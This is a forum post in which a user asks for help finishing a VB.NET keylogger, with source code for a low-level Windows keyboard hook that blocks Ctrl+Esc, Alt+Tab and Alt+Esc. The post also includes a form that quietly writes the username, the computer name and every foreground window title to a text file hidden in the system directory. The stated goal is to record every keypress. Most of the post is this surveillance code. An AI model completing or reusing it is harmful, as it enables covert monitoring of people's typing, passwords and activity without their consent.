|
Hi friends;
i am working on this,i want get all keypress buttons and write in a txt (i already finished create txt,write in txt a date and getusername bla bla bla)my problem i want to know how can i start keyboard hook and how can i make writer key by key and how stop too(with parameters if have) i did this project before vb 6.0 but i am feeling myself like a moron with this vb.net
please help
Imports System.Runtime.InteropServices<br />
<br />
Imports System.Reflection<br />
<br />
Imports System.Drawing<br />
<br />
Imports System.Threading<br />
<br />
Module keyboard<br />
<br />
Public Declare Function UnhookWindowsHookEx Lib "user32" _<br />
<br />
(ByVal hHook As Integer) As Integer<br />
<br />
Public Declare Function SetWindowsHookEx Lib "user32" _<br />
<br />
Alias "SetWindowsHookExA" (ByVal idHook As Integer, _<br />
<br />
ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, _<br />
<br />
ByVal dwThreadId As Integer) As Integer<br />
<br />
Private Declare Function GetAsyncKeyState Lib "user32" _<br />
<br />
(ByVal vKey As Integer) As Integer<br />
<br />
Private Declare Function CallNextHookEx Lib "user32" _<br />
<br />
(ByVal hHook As Integer, _<br />
<br />
ByVal nCode As Integer, _<br />
<br />
ByVal wParam As Integer, _<br />
<br />
ByVal lParam As KBDLLHOOKSTRUCT) As Integer<br />
<br />
Public Structure KBDLLHOOKSTRUCT<br />
<br />
Public vkCode As Integer<br />
<br />
Public scanCode As Integer<br />
<br />
Public flags As Integer<br />
<br />
Public time As Integer<br />
<br />
Public dwExtraInfo As Integer<br />
<br />
End Structure<br />
<br />
' Low-Level Keyboard Constants<br />
<br />
Private Const HC_ACTION As Integer = 0<br />
<br />
Private Const LLKHF_EXTENDED As Integer = &H1<br />
<br />
Private Const LLKHF_INJECTED As Integer = &H10<br />
<br />
Private Const LLKHF_ALTDOWN As Integer = &H20<br />
<br />
Private Const LLKHF_UP As Integer = &H80<br />
<br />
' Virtual Keys<br />
<br />
Public Const VK_TAB = &H9<br />
<br />
Public Const VK_CONTROL = &H11<br />
<br />
Public Const VK_ESCAPE = &H1B<br />
<br />
Public Const VK_DELETE = &H2E<br />
<br />
Private Const WH_KEYBOARD_LL As Integer = 13&<br />
<br />
Public KeyboardHandle As Integer<br />
<br />
' Implement this function to block as many<br />
<br />
' key combinations as you'd like<br />
<br />
Public Function IsHooked( _<br />
<br />
ByRef Hookstruct As KBDLLHOOKSTRUCT) As Boolean<br />
<br />
Debug.WriteLine("Hookstruct.vkCode: " & Hookstruct.vkCode)<br />
<br />
Debug.WriteLine(Hookstruct.vkCode = VK_ESCAPE)<br />
<br />
Debug.WriteLine(Hookstruct.vkCode = VK_TAB)<br />
<br />
If (Hookstruct.vkCode = VK_ESCAPE) And _<br />
<br />
CBool(GetAsyncKeyState(VK_CONTROL) _<br />
<br />
And &H8000) Then<br />
<br />
Call HookedState("Ctrl + Esc blocked")<br />
<br />
Return True<br />
<br />
End If<br />
<br />
If (Hookstruct.vkCode = VK_TAB) And _<br />
<br />
CBool(Hookstruct.flags And _<br />
<br />
LLKHF_ALTDOWN) Then<br />
<br />
Call HookedState("Alt + Tab blockd")<br />
<br />
Return True<br />
<br />
End If<br />
<br />
If (Hookstruct.vkCode = VK_ESCAPE) And _<br />
<br />
CBool(Hookstruct.flags And _<br />
<br />
LLKHF_ALTDOWN) Then<br />
<br />
Call HookedState("Alt + Escape blocked")<br />
<br />
Return True<br />
<br />
End If<br />
<br />
Return False<br />
<br />
End Function<br />
<br />
Private Sub HookedState(ByVal Text As String)<br />
<br />
Debug.WriteLine(Text)<br />
<br />
End Sub<br />
<br />
Public Function KeyboardCallback(ByVal Code As Integer, _<br />
<br />
ByVal wParam As Integer, _<br />
<br />
ByRef lParam As KBDLLHOOKSTRUCT) As Integer<br />
<br />
If (Code = HC_ACTION) Then<br />
<br />
Debug.WriteLine("Calling IsHooked")<br />
<br />
If (IsHooked(lParam)) Then<br />
<br />
Return 1<br />
<br />
End If<br />
<br />
End If<br />
<br />
Return CallNextHookEx(KeyboardHandle, _<br />
<br />
Code, wParam, lParam)<br />
<br />
End Function<br />
<br />
Public Delegate Function KeyboardHookDelegate( _<br />
<br />
ByVal Code As Integer, _<br />
<br />
ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) _<br />
<br />
As Integer<br />
<br />
<MarshalAs(UnmanagedType.FunctionPtr)> _<br />
<br />
Private callback As KeyboardHookDelegate<br />
<br />
Public Sub HookKeyboard()<br />
<br />
callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)<br />
<br />
KeyboardHandle = SetWindowsHookEx( _<br />
<br />
WH_KEYBOARD_LL, callback, _<br />
<br />
Marshal.GetHINSTANCE( _<br />
<br />
[Assembly].GetExecutingAssembly.GetModules()(0)).ToInt32, 0)<br />
<br />
Call CheckHooked()<br />
<br />
End Sub<br />
<br />
Public Sub CheckHooked()<br />
<br />
If (Hooked()) Then<br />
<br />
Debug.WriteLine("Keyboard hooked")<br />
<br />
Else<br />
<br />
Debug.WriteLine("Keyboard hook failed: " & Err.LastDllError)<br />
<br />
End If<br />
<br />
End Sub<br />
<br />
Private Function Hooked()<br />
<br />
Hooked = KeyboardHandle <> 0<br />
<br />
End Function<br />
<br />
Public Sub UnhookKeyboard()<br />
<br />
If (Hooked()) Then<br />
<br />
Call UnhookWindowsHookEx(KeyboardHandle)<br />
<br />
End If<br />
<br />
End Sub<br />
<br />
End Module<br />
<br />
<br />
-------------------------------------------------------------------------<br />
Imports System.IO<br />
<br />
Imports System.Windows.Forms<br />
<br />
Imports System.Text<br />
<br />
Imports System<br />
<br />
Imports System.Runtime.InteropServices<br />
<br />
Imports System.Reflection.Assembly<br />
<br />
Public Class Form1<br />
<br />
Inherits System.Windows.Forms.Form<br />
<br />
Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As Integer<br />
<br />
Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Integer) As Integer<br />
<br />
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer<br />
<br />
Dim systemdirectory As String = (System.Environment.SystemDirectory)<br />
<br />
Dim dosyaadi As String = (systemdirectory & "\bora.txt")<br />
<br />
Dim computername As String = (System.Windows.Forms.SystemInformation.ComputerName.ToString)<br />
<br />
Dim fso As New Scripting.FileSystemObject<br />
<br />
Dim txt As Scripting.TextStream<br />
<br />
Dim strinfo As String<br />
<br />
Dim kullaniciadi As String = (System.Environment.UserName)<br />
<br />
Function raporolustur()<br />
<br />
'Sistem klasörünü bul<br />
<br />
Dim systemdirectory As String = (System.Environment.SystemDirectory)<br />
<br />
'Sistem klasörüne txt dosya aç<br />
<br />
Dim dosyaadi As String = (systemdirectory & "\bora.txt")<br />
<br />
'Açılan txt dosyaya gerekenleri yaz<br />
<br />
txt = fso.OpenTextFile(dosyaadi, Scripting.IOMode.ForAppending, True)<br />
<br />
'Başladığında zamanı ve tarihi yaz<br />
<br />
txt.WriteLine(("BAŞLADİ " & Now))<br />
<br />
Dim OBJNET As Object<br />
<br />
OBJNET = CreateObject("WScript.NetWork")<br />
<br />
strinfo = "Kullanici Adi: " & kullaniciadi & vbCrLf & _<br />
<br />
"Bilgisayar Adi: " & computername & vbCrLf<br />
<br />
txt.WriteLine(vbNewLine & strinfo)<br />
<br />
End Function<br />
<br />
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load<br />
<br />
raporolustur()<br />
<br />
Timer1.Enabled = True<br />
<br />
End Sub<br />
<br />
Private m_LastHwnd As Integer<br />
<br />
Private Function GetWindowTitle(ByVal window_hwnd As Integer) As String<br />
<br />
Dim length As Integer<br />
<br />
length = GetWindowTextLength(window_hwnd) + 1<br />
<br />
If length <= 1 Then<br />
<br />
Return "<<<" & window_hwnd.ToString & ">>>"<br />
<br />
Else<br />
<br />
Dim buf As String = Space$(length)<br />
<br />
length = GetWindowText(window_hwnd, buf, length)<br />
<br />
Return buf.Substring(0, length)<br />
<br />
End If<br />
<br />
End Function<br />
<br />
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick<br />
<br />
Dim fg_hwnd As Long = GetForegroundWindow()<br />
<br />
If m_LastHwnd = fg_hwnd Then Exit Sub<br />
<br />
m_LastHwnd = fg_hwnd<br />
<br />
txt.WriteLine(Text:=Now.ToString("h:mm:ss") & "<<" + GetWindowTitle(fg_hwnd) & ">>")<br />
<br />
End Sub<br />
<br />
End Class
|
|
|
|